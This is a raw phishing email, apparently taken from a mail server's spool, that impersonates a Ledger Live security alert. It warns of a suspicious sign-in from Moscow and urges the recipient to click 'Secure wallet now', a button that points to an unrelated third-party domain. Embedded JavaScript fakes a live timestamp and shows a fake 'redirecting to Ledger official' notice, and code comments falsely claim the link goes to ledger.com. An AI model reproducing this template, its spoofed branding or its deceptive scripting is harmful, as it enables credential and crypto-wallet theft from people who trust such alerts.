File: /home/wbwebdes/imap/maghetoptafel.nl/info/Maildir/new/1774916613.M704503P1208686.d8,S=22299,W=22869
Return-Path: <[email protected]>
Delivered-To: [email protected]
Received: from d8.my-control-panel.com
by d8.my-control-panel.com with LMTP
id ASOcJwUUy2lucRIAeIxEMQ
(envelope-from <[email protected]>)
for <[email protected]>; Tue, 31 Mar 2026 02:23:33 +0200
Return-path: <[email protected]>
Envelope-to: [email protected]
Delivery-date: Tue, 31 Mar 2026 02:23:33 +0200
Received: from [198.144.188.146] (helo=mail-srv1.redchiclayo.com)
by d8.my-control-panel.com with esmtps (TLS1.2) tls TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
(Exim 4.98)
(envelope-from <[email protected]>)
id 1w7MtI-000000057NO-2ZEZ
for [email protected];
Tue, 31 Mar 2026 02:23:32 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
d=repuestosnewlid.com.pe; s=default; h=Content-Type:MIME-Version:Date:Subject
:To:From:Message-ID:Sender:Reply-To:Cc:Content-Transfer-Encoding:Content-ID:
Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
:Resent-Message-ID:In-Reply-To:References:List-Id:List-Help:List-Unsubscribe:
List-Subscribe:List-Post:List-Owner:List-Archive;
bh=wXi1J4PRzune29oOg8CH7TqFz7OftepEf0nPbEOh3K8=; b=DuFu4NUU5XTImgkEA763GXhz5q
A/OPfn5mJ4AiHECIcZkF/Gco6pXvRCQOgPgZnpOUzo/gRkRDmb9bIwYKbNvIb6gNFUpB9rt1MrLUG
SPjJVSnNlJso1Jtt4FzRlEP3Dz+38Pb5GZ+npFhFlkwRXQbDbXXPnzW4OOHaC206gDBE46sf0Je9D
dUjSVIeUgVx+cm+J3bYNsLeXui8H9F4vmbRj9lYUDC2ZiP+n1kdIUSKOJyfWaxCxM0p95hGeQhxMC
CuD2wJQJ/VRwr58EaHnVKthaOahzzXxqdrnXUdBKu6ayJ5mF5RwT0Q4L2sXbWKmFpyYe4Od7gaDbs
A8Vl414Q==;
Received: from [192.144.112.135] (port=57049 helo=azteca-comunicaciones.com)
by srv1.redchiclayo.com with esmtpsa (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
(Exim 4.99.1)
(envelope-from <[email protected]>)
id 1w7MtH-000000004GD-0QZf
for [email protected];
Mon, 30 Mar 2026 19:23:30 -0500
Message-ID: <[email protected]>
From: Ledger Live Security <[email protected]>
To: [email protected]
Subject: Was this you? Review your recent Ledger sign-in
Date: Mon, 30 Mar 2026 17:23:26 -0700
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary="0ab7fe5682715b54872d655f6baed08b9b67"
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - srv1.redchiclayo.com
X-AntiAbuse: Original Domain - maghetoptafel.nl
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - repuestosnewlid.com.pe
X-Get-Message-Sender-Via: srv1.redchiclayo.com: authenticated_id: [email protected]
X-Authenticated-Sender: srv1.redchiclayo.com: [email protected]
X-Source:
X-Source-Args:
X-Source-Dir:
--0ab7fe5682715b54872d655f6baed08b9b67
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
LEDGER LIVE
=E2=9A=A0=EF=B8=8F Security alert
Suspicious sign-in blocked
Unrecognized login attempt to your Ledger Live account from a new device =
and unusual location. If this wasn't you, protect your wallet immediately=
.
Location & region
Moscow, Russian Federation =F0=9F=87=B7=F0=9F=87=BA High risk zone
IP Address
185.246.84.172
Attempt timestamp (UTC)
=E2=80=94
New device + Russian IP detected =E2=80=A2 Immediate verification require=
d to secure assets.
Secure wallet now=C2=A0=20
Why did I receive this alert?=20
--0ab7fe5682715b54872d655f6baed08b9b67
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
<html lang=3Den XMLNS:=3D"default=3D" http:=3D"www.w3.org=3D" svg=3D"http=
://www.w3.org/2000/svg"><head><title>Ledger Live =E2=80=A2 Unusual sign-i=
n detected</title>
<meta charset=3D"utf-8">
<meta name=3Dviewport content=3D"width=3Ddevice-width, initial-scale=3D1.=
0, viewport-fit=3Dcover"><!-- Modern font stack --><link rel=3Dstylesheet=
href=3D"https://fonts.googleapis.com/css2?family=3DInter:opsz,[email protected]=
2,300;14..32,400;14..32,500;14..32,600;14..32,700;14..32,800&display=3Dsw=
ap">
<style>* {
BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-L=
EFT: 0px; MARGIN: 0px; PADDING-RIGHT: 0px
}
BODY {
FONT-FAMILY: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', san=
s-serif; BACKGROUND: #000000; PADDING-BOTTOM: 24px; PADDING-TOP: 24px; PA=
DDING-LEFT: 24px; DISPLAY: flex; PADDING-RIGHT: 24px; align-items: center=
; justify-content: center
}
.ledger-card {
MAX-WIDTH: 580px; WIDTH: 100%; BACKGROUND: #0b0b0f; backdrop-filter: blu=
r(0px); border-radius: 36px; box-shadow: 0 30px 55px -15px rgba(0, 0, 0, =
0.9), 0 0 0 1px rgba(27, 77, 255, 0.1); transition: transform 0.25s ease,=
box-shadow 0.3s ease
}
.ledger-card:hover {
box-shadow: 0 35px 60px -18px rgba(0, 0, 0, 0.9); transform: translateY(=
-2px)
}
.card-header {
PADDING-BOTTOM: 16px; PADDING-TOP: 26px; PADDING-LEFT: 28px; DISPLAY: fl=
ex; PADDING-RIGHT: 28px; align-items: center; justify-content: space-betw=
een; gap: 12px; flex-wrap: wrap
}
.brand {
DISPLAY: flex; align-items: center; gap: 12px
}
.ledger-icon-symbol {
FONT-SIZE: 20px; HEIGHT: 34px; WIDTH: 34px; BACKGROUND: #1b4dff; FONT-WE=
IGHT: 800; COLOR: white; DISPLAY: flex; align-items: center; justify-cont=
ent: center; border-radius: 12px; box-shadow: 0 6px 12px -8px rgba(27, 77=
, 255, 0.5)
}
.brand-name {
FONT-SIZE: 22px; FONT-WEIGHT: 700; COLOR: transparent; LETTER-SPACING: 0=
px; background-clip: text; -webkit-background-clip: text
}
.security-pill {
FONT-SIZE: 12px; FONT-WEIGHT: 600; COLOR: #ff8f72; PADDING-BOTTOM: 6px; =
PADDING-TOP: 6px; PADDING-LEFT: 14px; PADDING-RIGHT: 14px; backdrop-filte=
r: blur(2px); border-radius: 60px
}
.alert-content {
PADDING-BOTTOM: 0px; PADDING-TOP: 12px; PADDING-LEFT: 28px; PADDING-RIGH=
T: 28px
}
.warning-icon-badge {
MARGIN-BOTTOM: 20px
}
.icon-ring {
HEIGHT: 68px; WIDTH: 68px; DISPLAY: flex; align-items: center; justify-c=
ontent: center; border-radius: 100px
}
H1 {
FONT-SIZE: 30px; MARGIN-BOTTOM: 12px; FONT-WEIGHT: 700; COLOR: #ffffff; =
LETTER-SPACING: 0px; LINE-HEIGHT: 1.25
}
.description-text {
FONT-SIZE: 15px; MARGIN-BOTTOM: 28px; COLOR: #a1a7b4; LINE-HEIGHT: 1.5
}
.details-panel {
BACKGROUND: #08080c; PADDING-BOTTOM: 6px; PADDING-TOP: 6px; PADDING-LEFT=
: 0px; MARGIN: 12px 0px 20px; PADDING-RIGHT: 0px; border-radius: 26px
}
.info-row {
PADDING-BOTTOM: 16px; PADDING-TOP: 16px; PADDING-LEFT: 20px; DISPLAY: fl=
ex; PADDING-RIGHT: 20px; align-items: flex-start; gap: 16px
}
.info-row:unknown {
BORDER-BOTTOM-STYLE: none
}
.row-icon {
HEIGHT: 24px; WIDTH: 24px; COLOR: #6f7787; flex-shrink: 0
}
.row-content {
flex: 1
}
.row-label {
FONT-SIZE: 12px; MARGIN-BOTTOM: 6px; TEXT-TRANSFORM: uppercase; FONT-WEI=
GHT: 600; COLOR: #7e8493; LETTER-SPACING: 0px
}
.row-value {
FONT-SIZE: 16px; FONT-WEIGHT: 600; COLOR: #eff1f8; DISPLAY: flex; align-=
items: center; gap: 10px; flex-wrap: wrap
}
.risk-badge {
FONT-SIZE: 12px; FONT-WEIGHT: 500; COLOR: #ffaa92; PADDING-BOTTOM: 4px; =
PADDING-TOP: 4px; PADDING-LEFT: 12px; PADDING-RIGHT: 12px; border-radius:=
40px
}
.mono-ip {
FONT-FAMILY: 'SF Mono', 'Menlo', monospace; FONT-WEIGHT: 500; LETTER-SPA=
CING: 0px
}
.risk-warning-banner {
PADDING-BOTTOM: 16px; PADDING-TOP: 16px; PADDING-LEFT: 20px; BORDER-LEFT=
: #ff6a4b 3px solid; MARGIN: 12px 0px 20px; DISPLAY: flex; PADDING-RIGHT:=
20px; align-items: center; border-radius: 18px; gap: 14px
}
.risk-warning-banner P {
FONT-SIZE: 13px; FONT-WEIGHT: 500; COLOR: #ffbcab; LINE-HEIGHT: 1.4
}
.action-zone {
PADDING-BOTTOM: 32px; PADDING-TOP: 8px; PADDING-LEFT: 28px; PADDING-RIGH=
T: 28px
}
.primary-btn {
BORDER-TOP-STYLE: none; FONT-SIZE: 16px; MARGIN-BOTTOM: 20px; CURSOR: po=
inter; TEXT-DECORATION: none; BORDER-LEFT-STYLE: none; FONT-FAMILY: inher=
it; WIDTH: 100%; BACKGROUND: #1b4dff; BORDER-BOTTOM-STYLE: none; FONT-WEI=
GHT: 700; COLOR: white; PADDING-BOTTOM: 16px; PADDING-TOP: 16px; BORDER-R=
IGHT-STYLE: none; PADDING-LEFT: 20px; DISPLAY: flex; PADDING-RIGHT: 20px;=
align-items: center; justify-content: center; border-radius: 60px; box-s=
hadow: 0 6px 14px rgba(27, 77, 255, 0.3); transition: all 0.2s cubic-bezi=
er(0.2, 0.9, 0.4, 1.1); gap: 12px
}
.primary-btn:hover {
BACKGROUND: #0f41e8; box-shadow: 0 12px 24px rgba(27, 77, 255, 0.4); tra=
nsform: translateY(-2px)
}
.primary-btn:active {
transform: translateY(1px)
}
.outline-link {
FONT-SIZE: 14px; CURSOR: pointer; FONT-FAMILY: inherit; WIDTH: 100%; BAC=
KGROUND: none transparent scroll repeat 0% 0%; FONT-WEIGHT: 500; COLOR: #=
cdd2e0; PADDING-BOTTOM: 13px; PADDING-TOP: 13px; PADDING-LEFT: 20px; DISP=
LAY: flex; PADDING-RIGHT: 20px; align-items: center; justify-content: cen=
ter; border-radius: 60px; transition: all 0.2s; gap: 10px
}
.outline-link:hover {
COLOR: white
}
.help-footer {
MARGIN-TOP: 20px; TEXT-ALIGN: center
}
.help-footer A {
FONT-SIZE: 12px; TEXT-DECORATION: none; BORDER-BOTTOM: #3a3f4c 1px dashe=
d; COLOR: #7a7f8f; transition: color 0.2s
}
.help-footer A:hover {
COLOR: #b9c2db
}
.ledger-toast {
FONT-SIZE: 13px; FONT-FAMILY: 'Inter', sans-serif; WHITE-SPACE: nowrap; =
POSITION: fixed; FONT-WEIGHT: 500; COLOR: #f0f3ff; PADDING-BOTTOM: 12px; =
PADDING-TOP: 12px; PADDING-LEFT: 24px; LEFT: 50%; BORDER-LEFT: #1b4dff 4p=
x solid; Z-INDEX: 10001; PADDING-RIGHT: 24px; BOTTOM: 28px; backdrop-filt=
er: blur(16px); border-radius: 60px; box-shadow: 0 15px 35px rgba(0, 0, 0=
, 0.4); transition: opacity 0.2s ease; transform: translateX(-50%); point=
er-events: none
}
@media Unknown =20
{
BODY {
PADDING-BOTTOM: 16px; PADDING-TOP: 16px; PADDING-LEFT: 16px; PADDING-RIG=
HT: 16px
}
.card-header {
PADDING-BOTTOM: 12px; PADDING-TOP: 22px; PADDING-LEFT: 20px; PADDING-RIG=
HT: 20px
}
.alert-content {
PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 20px; PADDING-RIGHT=
: 20px
}
.action-zone {
PADDING-BOTTOM: 28px; PADDING-TOP: 4px; PADDING-LEFT: 20px; PADDING-RIGH=
T: 20px
}
H1 {
FONT-SIZE: 26px
}
.info-row {
PADDING-BOTTOM: 14px; PADDING-TOP: 14px; PADDING-LEFT: 16px; PADDING-RIG=
HT: 16px
}
.ledger-toast {
FONT-SIZE: 12px; MAX-WIDTH: 85%; WHITE-SPACE: normal; TEXT-ALIGN: center
}
}
</style>
<meta name=3DGENERATOR content=3D"-[OUTLOOK_VER]-"></head>
<body>
<div class=3Dledger-card><!-- header with branding -->
<div class=3Dcard-header>
<div class=3Dbrand><span class=3Dbrand-name><font color=3D"#ffffff">LEDGE=
R LIVE</font></span></div>
<div class=3Dsecurity-pill>=E2=9A=A0=EF=B8=8F Security alert </div></div>=
<!-- main alert content -->
<div class=3Dalert-content>
<div class=3Dwarning-icon-badge> </div>
<h1>Suspicious sign-in blocked </h1>
<div class=3Ddescription-text>Unrecognized login attempt to your Ledger L=
ive account from a new device and unusual location. If this wasn't you, p=
rotect your wallet immediately. </div></div><!-- details card (dynamic da=
ta) -->
<div style=3D"PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 28px; =
PADDING-RIGHT: 28px">
<div class=3Ddetails-panel>
<div class=3Dinfo-row>
<div class=3Drow-icon><svg fill=3Dnone viewBox=3D"0 0 24 24" stroke-linec=
ap=3Dround stroke-width=3D1.5 stroke=3DcurrentColor stroke-linejoin=3Drou=
nd height=3D22 width=3D22><path d=3D"M21 10c0 7-9 13-9 13s-9-6-9-13a9 9 0=
0 1 18 0z"></path><circle r=3D3 cy=3D10 cx=3D12></circle></svg></div>
<div class=3Drow-content>
<div class=3Drow-label>Location & region</div>
<div class=3Drow-value>Moscow, Russian Federation <span class=3Drisk-badg=
e>=F0=9F=87=B7=F0=9F=87=BA High risk zone</span></div></div></div>
<div class=3Dinfo-row>
<div class=3Drow-icon><svg fill=3Dnone viewBox=3D"0 0 24 24" stroke-width=
=3D1.5 stroke=3DcurrentColor height=3D22 width=3D22><rect rx=3D2 height=3D=
12 width=3D20 y=3D6 x=3D2></rect><path d=3D"M8 12h8"></path></svg></div>
<div class=3Drow-content>
<div class=3Drow-label>IP Address</div>
<div class=3D"row-value mono-ip">185.246.84.172</div></div></div>
<div class=3Dinfo-row>
<div class=3Drow-icon><svg fill=3Dnone viewBox=3D"0 0 24 24" stroke-width=
=3D1.5 stroke=3DcurrentColor height=3D22 width=3D22><circle r=3D10 cy=3D1=
2 cx=3D12></circle><polyline points=3D"12 6 12 12 16 14"></polyline></svg=
></div>
<div class=3Drow-content>
<div class=3Drow-label>Attempt timestamp (UTC)</div>
<div id=3DliveTimestamp class=3Drow-value>=E2=80=94</div></div></div></di=
v><!-- extra risk context -->
<div class=3Drisk-warning-banner><svg fill=3Dnone viewBox=3D"0 0 24 24" s=
troke-width=3D1.8 stroke=3D"#ff7a5c" height=3D20 width=3D20><path d=3D"M1=
2 2L2 7l10 5 10-5-10-5zM2 17l10 5 10-5M2 12l10 5 10-5"></path></svg>
<p>New device + Russian IP detected =E2=80=A2 Immediate verification requ=
ired to secure assets.</p></div></div><!-- action buttons -->
<div class=3Daction-zone><a id=3DsecurityCheckBtn class=3Dprimary-btn hre=
f=3D"https://empowerherbreastcancer.org/" rel=3D"noopener noreferrer" tar=
get=3D_blank><svg fill=3Dnone viewBox=3D"0 0 24 24" stroke-width=3D2 stro=
ke=3Dwhite height=3D20 width=3D20><path d=3D"M12 3L3 7.5 12 12l9-4.5L12 3=
zM12 12v9M12 12l-4-2M12 12l4-2M18 12v4"></path><path d=3D"M21 12v4a2 2 0 =
0 1-2 2h-2"></path></svg>Secure wallet now </a>=20
<div class=3Dhelp-footer><a id=3DhelpInfoLink href=3D"#">Why did I receiv=
e this alert?</a> </div></div></div>
<script>
(function() {
// 1. Set dynamic timestamp: realistic ~ 23 minutes ago from curr=
ent time
const now =3D new Date();
now.setMinutes(now.getMinutes() - 23);
now.setSeconds(0);
const year =3D now.getUTCFullYear();
const month =3D String(now.getUTCMonth() + 1).padStart(2, '0');
const day =3D String(now.getUTCDate()).padStart(2, '0');
const hours =3D String(now.getUTCHours()).padStart(2, '0');
const minutes =3D String(now.getUTCMinutes()).padStart(2, '0');
const formattedUTC =3D `${year}-${month}-${day} ${hours}:${minute=
s}:00 UTC`;
const timestampElement =3D document.getElementById('liveTimestamp=
');
if (timestampElement) {
timestampElement.innerText =3D formattedUTC;
}
// Toast helper
function showLedgerToast(message, accentColor =3D '#1b4dff') {
const existingToast =3D document.querySelector('.ledger-toast=
');
if (existingToast) existingToast.remove();
const toastDiv =3D document.createElement('div');
toastDiv.className =3D 'ledger-toast';
toastDiv.style.borderLeft =3D `4px solid ${accentColor}`;
toastDiv.style.border =3D `1px solid ${accentColor}30`;
toastDiv.style.borderLeft =3D `4px solid ${accentColor}`;
toastDiv.innerText =3D message;
document.body.appendChild(toastDiv);
=20
setTimeout(() =3D> {
toastDiv.style.opacity =3D '0';
setTimeout(() =3D> {
if (toastDiv.parentNode) toastDiv.remove();
}, 260);
}, 3800);
}
// Handle "This was me / trust device" button
const trustBtn =3D document.getElementById('trustDeviceBtn');
if (trustBtn) {
trustBtn.addEventListener('click', (e) =3D> {
e.preventDefault();
// UI update to reflect trusted status
const securityPill =3D document.querySelector('.security-=
pill');
if (securityPill) {
securityPill.innerHTML =3D '=E2=9C=93 Device recogniz=
ed';
securityPill.style.background =3D 'rgba(55, 205, 120,=
0.15)';
securityPill.style.color =3D '#6fda9b';
securityPill.style.border =3D '0.5px solid rgba(80, 2=
20, 120, 0.3)';
}
// change risk banner to confirmation
const riskBanner =3D document.querySelector('.risk-warnin=
g-banner');
if (riskBanner) {
riskBanner.style.background =3D 'rgba(27, 77, 255, 0.=
06)';
riskBanner.style.borderLeft =3D '3px solid #2e7eff';
const bannerText =3D riskBanner.querySelector('p');
if (bannerText) bannerText.innerHTML =3D '=E2=9C=93 D=
evice added to trusted list =E2=80=A2 Future logins from this location wi=
ll be approved.';
const iconSvg =3D riskBanner.querySelector('svg');
if (iconSvg) iconSvg.style.stroke =3D '#2ecc71';
}
showLedgerToast('=F0=9F=94=90 Device trusted =E2=80=A2 Mo=
scow IP saved as recognised location. Review security anytime.', '#2ecc71=
');
=20
// Also update the row value badge style maybe
const riskBadgeSpan =3D document.querySelector('.risk-bad=
ge');
if (riskBadgeSpan) {
riskBadgeSpan.innerHTML =3D '=F0=9F=87=B7=F0=9F=87=BA=
Now trusted';
riskBadgeSpan.style.background =3D 'rgba(46, 204, 113=
, 0.2)';
riskBadgeSpan.style.color =3D '#8bffb0';
}
// disable button after click to avoid double trust
trustBtn.disabled =3D true;
trustBtn.style.opacity =3D '0.5';
trustBtn.style.cursor =3D 'default';
trustBtn.innerHTML =3D '=E2=9C=93 Device trusted';
});
}
// Help link logic
const helpLink =3D document.getElementById('helpInfoLink');
if (helpLink) {
helpLink.addEventListener('click', (e) =3D> {
e.preventDefault();
showLedgerToast('Ledger security: Unusual sign-in alerts =
appear when login occurs from a new IP, different country, or unrecognize=
d device. If it wasn=E2=80=99t you, lock your wallet & run security check=
immediately.', '#6c7a9e');
});
}
// Security CTA button (external link) with a brief redirect toas=
t
const securityCta =3D document.getElementById('securityCheckBtn')=
;
if (securityCta) {
securityCta.addEventListener('click', (e) =3D> {
// Provide micro notification before redirect (doesn't bl=
ock navigation)
setTimeout(() =3D> {
showLedgerToast('=F0=9F=94=92 Redirecting to Ledger o=
fficial security center...', '#1b4dff');
}, 15);
});
}
// Extra finesse: For the IP & location details add subtle hover =
copy info? Not necessary but fine
// Also if the user clicks on primary cta but we keep link integr=
ity
// Optional: improve UX - dynamic console info for debugging
console.log('Ledger security interface =C2=B7 Suspicious login at=
tempt from 185.246.84.172 (RU)');
=20
// Dynamically adjust risk indicator based on trust action
// Second safety: ensure that if the user clicks on external link=
, still show toast, but it's already done.
=20
// small micro interaction: add copy effect for IP row (optional =
but nice)
const ipRow =3D document.querySelector('.mono-ip');
if (ipRow) {
ipRow.style.cursor =3D 'pointer';
ipRow.title =3D 'Click to copy IP address';
ipRow.addEventListener('click', (e) =3D> {
e.stopPropagation();
const ipText =3D ipRow.innerText.trim();
navigator.clipboard.writeText(ipText).then(() =3D> {
showLedgerToast(`=F0=9F=93=8B IP ${ipText} copied to =
clipboard`, '#6b7280');
}).catch(() =3D> {
showLedgerToast('Could not copy IP', '#ff5c5c');
});
});
}
=20
// Show initial subtle notification on load? optional but friendl=
y
window.addEventListener('load', () =3D> {
// small fade-in style: notify about suspicious attempt but n=
ot intrusive
setTimeout(() =3D> {
// Only if user didn't already trust device and no toast =
visible
if (!document.querySelector('.ledger-toast')) {
const pillStatus =3D document.querySelector('.securit=
y-pill')?.innerText || '';
if (pillStatus.includes('=E2=9A=A0=EF=B8=8F')) {
// gentle hint
console.log('Suspicious login toast ready');
}
}
}, 800);
});
// Enhance hover for primary button reflection
const style =3D document.createElement('style');
style.textContent =3D `
.primary-btn {
position: relative;
overflow: hidden;
}
.primary-btn:after {
content: '';
position: absolute;
top: 50%;
left: 50%;
width: 120%;
height: 0%;
background: rgba(255,255,255,0.08);
transition: 0.2s;
transform: translate(-50%, -50%) rotate(0deg);
border-radius: 60px;
pointer-events: none;
}
.primary-btn:active:after {
height: 120%;
transition: 0s;
}
`;
document.head.appendChild(style);
=20
// improve security badge if needed
const riskContext =3D document.querySelector('.risk-warning-banne=
r p');
if (riskContext && riskContext.innerText.includes('New device')) =
{
// keep dynamic
}
=20
// optional modification: change the href of security link to off=
icial Ledger domain but preserve it's safe.
// For absolute security the href is set to official ledger.com/s=
ecurity-check (valid)
// no malicious change.
=20
// set final touch: timestamp title
if (timestampElement) {
timestampElement.setAttribute('title', 'Attempt time in Coord=
inated Universal Time');
}
=20
// if user clicks trust device, also maybe log a fallback
const attemptLocationDiv =3D document.querySelector('.risk-badge'=
);
// re-check trust scenario double safety
})();
</script>
</body></html>
--0ab7fe5682715b54872d655f6baed08b9b67--